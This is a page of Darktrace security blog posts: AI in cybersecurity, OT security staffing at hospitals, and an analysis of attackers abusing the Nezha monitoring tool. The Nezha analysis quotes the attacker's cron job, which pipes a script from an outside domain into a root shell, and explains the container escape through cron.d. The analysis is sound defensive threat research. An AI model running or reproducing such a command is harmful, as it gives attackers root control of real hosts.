Blog
/
AI
/
November 25, 2024

Why Artificial Intelligence is the Future of Cybersecurity

This blog explores the impact of AI on the threat landscape, the benefits of AI in cybersecurity, and the role it plays in enhancing security practices and tools.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brittany Woodsmall
Product Marketing Manager, AI
Default blog image
25
Nov 2024

Introduction: AI & Cybersecurity

In the wake of artificial intelligence (AI) becoming more commonplace, it’s no surprise to see that threat actors are also adopting the use of AI in their attacks at an accelerated pace. AI enables augmentation of complex tasks such as spear-phishing, deep fakes, polymorphic malware generation, and advanced persistent threat (APT) campaigns, which significantly enhances the sophistication and scale of their operations. This has put security professionals in a reactive state, struggling to keep pace with the proliferation of threats.

As AI reshapes the future of cyber threats, defenders are also looking to integrate AI technologies into their security stack. Adopting AI-powered solutions in cybersecurity enables security teams to detect and respond to these advanced threats more quickly and accurately as well as automate traditionally manual and routine tasks. According to research done by Darktrace in the 2024 State of AI Cybersecurity Report improving threat detection, identifying exploitable vulnerabilities, and automating low level security tasks were the top three ways practitioners saw AI enhancing their security team’s capabilities [1], underscoring the wide-ranging capabilities of AI in cyber.  

In this blog, we will discuss how AI has impacted the threat landscape, the rise of generative AI and AI adoption in security tools, and the importance of using multiple types of AI in cybersecurity solutions for a holistic and proactive approach to keeping your organization safe.  

The impact of AI on the threat landscape

The integration of AI and cybersecurity has brought about significant advancements across industries. However, it also introduces new security risks that challenge traditional defenses.  Three major concerns with the misuse of AI being leveraged by adversaries are: (1) the increase of novel social engineering attacks that are harder to detect and able to bypass traditional security tools,  (2) the ease of access for less experienced threat actors to now deliver advanced attacks at speed and scale and (3) the attacking of AI itself, to include machine learning models, data corpuses and APIs or interfaces.

In the context of social engineering, AI can be used to create more convincing phishing emails, conduct advanced reconnaissance, and simulate human-like interactions to deceive victims more effectively. Generative AI tools, such as ChatGPT, are already being used by adversaries to craft these sophisticated phishing emails, which can more aptly mimic human semantics without spelling or grammatical error and include personal information pulled from internet sources such as social media profiles. And this can all be done at machine speed and scale. In fact, Darktrace researchers observed a 135% rise in ‘novel social engineering attacks’ across Darktrace / EMAIL customers in 2023, corresponding to the widespread adoption and use of ChatGPT [2].  

Furthermore, these sophisticated social engineering attacks are now able to circumvent traditional security tools. In between December 21, 2023, and July 5, 2024, Darktrace / EMAIL detected 17.8 million phishing emails across the fleet, with 62% of these phishing emails successfully bypassing Domain-based Message Authentication, Reporting, and Conformance (DMARC) verification checks [2].  

And while the proliferation of novel attacks fueled by AI is persisting, AI also lowers the barrier to entry for threat actors. Publicly available AI tools make it easy for adversaries to automate complex tasks that previously required advanced technical skills. Additionally, AI-driven platforms and phishing kits available on the dark web provide ready-made solutions, enabling even novice attackers to execute effective cyber campaigns with minimal effort.

The impact of adversarial use of AI on the ever-evolving threat landscape is important for organizations to understand as it fundamentally changes the way we must approach cybersecurity. However, while the intersection of cybersecurity and AI can have potentially negative implications, it is important to recognize that AI can also be used to help protect us.

A generation of generative AI in cybersecurity

When the topic of AI in cybersecurity comes up, it’s typically in reference to generative AI, which became popularized in 2023. While it does not solely encapsulate what AI cybersecurity is or what AI can do in this space, it’s important to understand what generative AI is and how it can be implemented to help organizations get ahead of today’s threats.  

Generative AI (e.g., ChatGPT or Microsoft Copilot) is a type of AI that creates new or original content. It has the capability to generate images, videos, or text based on information it learns from large datasets. These systems use advanced algorithms and deep learning techniques to understand patterns and structures within the data they are trained on, enabling them to generate outputs that are coherent, contextually relevant, and often indistinguishable from human-created content.

For security professionals, generative AI offers some valuable applications. Primarily, it’s used to transform complex security data into clear and concise summaries. By analyzing vast amounts of security logs, alerts, and technical data, it can contextualize critical information quickly and present findings in natural, comprehensible language. This makes it easier for security teams to understand critical information quickly and improves communication with non-technical stakeholders. Generative AI can also automate the creation of realistic simulations for training purposes, helping security teams prepare for various cyberattack scenarios and improve their response strategies.  

Despite its advantages, generative AI also has limitations that organizations must consider. One challenge is the potential for generating false positives, where benign activities are mistakenly flagged as threats, which can overwhelm security teams with unnecessary alerts. Moreover, implementing generative AI requires significant computational resources and expertise, which may be a barrier for some organizations. It can also be susceptible to prompt injection attacks and there are risks with intellectual property or sensitive data being leaked when using publicly available generative AI tools.  In fact, according to the MIT AI Risk Registry, there are potentially over 700 risks that need to be mitigated with the use of generative AI.

Generative AI impact on cyber attacks screenshot data sheet

For more information on generative AI's impact on the cyber threat landscape download the Darktrace Data Sheet

Beyond the Generative AI Glass Ceiling

Generative AI has a place in cybersecurity, but security professionals are starting to recognize that it’s not the only AI organizations should be using in their security tool kit. In fact, according to Darktrace’s State of AI Cybersecurity Report, “86% of survey participants believe generative AI alone is NOT enough to stop zero-day threats.” As we look toward the future of AI in cybersecurity, it’s critical to understand that different types of AI have different strengths and use cases and choosing the technologies based on your organization’s specific needs is paramount.

There are a few types of AI used in cybersecurity that serve different functions. These include:

Supervised Machine Learning: Widely used in cybersecurity due to its ability to learn from labeled datasets. These datasets include historical threat intelligence and known attack patterns, allowing the model to recognize and predict similar threats in the future. For example, supervised machine learning can be applied to email filtering systems to identify and block phishing attempts by learning from past phishing emails. This is human-led training facilitating automation based on known information.  

Large Language Models (LLMs): Deep learning models trained on extensive datasets to understand and generate human-like text. LLMs can analyze vast amounts of text data, such as security logs, incident reports, and threat intelligence feeds, to identify patterns and anomalies that may indicate a cyber threat. They can also generate detailed and coherent reports on security incidents, summarizing complex data into understandable formats.

Natural Language Processing (NLP): Involves the application of computational techniques to process and understand human language. In cybersecurity, NLP can be used to analyze and interpret text-based data, such as emails, chat logs, and social media posts, to identify potential threats. For instance, NLP can help detect phishing attempts by analyzing the language used in emails for signs of deception.

Unsupervised Machine Learning: Continuously learns from raw, unstructured data without predefined labels. It is particularly useful in identifying new and unknown threats by detecting anomalies that deviate from normal behavior. In cybersecurity, unsupervised learning can be applied to network traffic analysis to identify unusual patterns that may indicate a cyberattack. It can also be used in endpoint detection and response (EDR) systems to uncover previously unknown malware by recognizing deviations from typical system behavior.

Types of AI in cybersecurity
Figure 1: Types of AI in cybersecurity

Employing multiple types of AI in cybersecurity is essential for creating a layered and adaptive defense strategy. Each type of AI, from supervised and unsupervised machine learning to large language models (LLMs) and natural language processing (NLP), brings distinct capabilities that address different aspects of cyber threats. Supervised learning excels at recognizing known threats, while unsupervised learning uncovers new anomalies. LLMs and NLP enhance the analysis of textual data for threat detection and response and aid in understanding and mitigating social engineering attacks. By integrating these diverse AI technologies, organizations can achieve a more holistic and resilient cybersecurity framework, capable of adapting to the ever-evolving threat landscape.

A Multi-Layered AI Approach with Darktrace

AI-powered security solutions are emerging as a crucial line of defense against an AI-powered threat landscape. In fact, “Most security stakeholders (71%) are confident that AI-powered security solutions will be better able to block AI-powered threats than traditional tools.” And 96% agree that AI-powered solutions will level up their organization’s defenses.  As organizations look to adopt these tools for cybersecurity, it’s imperative to understand how to evaluate AI vendors to find the right products as well as build trust with these AI-powered solutions.  

Darktrace, a leader in AI cybersecurity since 2013, emphasizes interpretability, explainability, and user control, ensuring that our AI is understandable, customizable and transparent. Darktrace’s approach to cyber defense is rooted in the belief that the right type of AI must be applied to the right use cases. Central to this approach is Self-Learning AI, which is crucial for identifying novel cyber threats that most other tools miss. This is complemented by various AI methods, including LLMs, generative AI, and supervised machine learning, to support the Self-Learning AI.  

Darktrace focuses on where AI can best augment the people in a security team and where it can be used responsibly to have the most positive impact on their work. With a combination of these AI techniques, applied to the right use cases, Darktrace enables organizations to tailor their AI defenses to unique risks, providing extended visibility across their entire digital estates with the Darktrace ActiveAI Security Platform™.

Credit to: Ed Metcalf, Senior Director Product Marketing, AI & Innovations - Nicole Carignan VP of Strategic Cyber AI for their contribution to this blog.

CISOs guide to buying AI white paper cover

To learn more about Darktrace and AI in cybersecurity download the CISO’s Guide to Cyber AI here.

Download the white paper to learn how buyers should approach purchasing AI-based solutions. It includes:

  • Key steps for selecting AI cybersecurity tools
  • Questions to ask and responses to expect from vendors
  • Understand tools available and find the right fit
  • Ensure AI investments align with security goals and needs
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brittany Woodsmall
Product Marketing Manager, AI

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI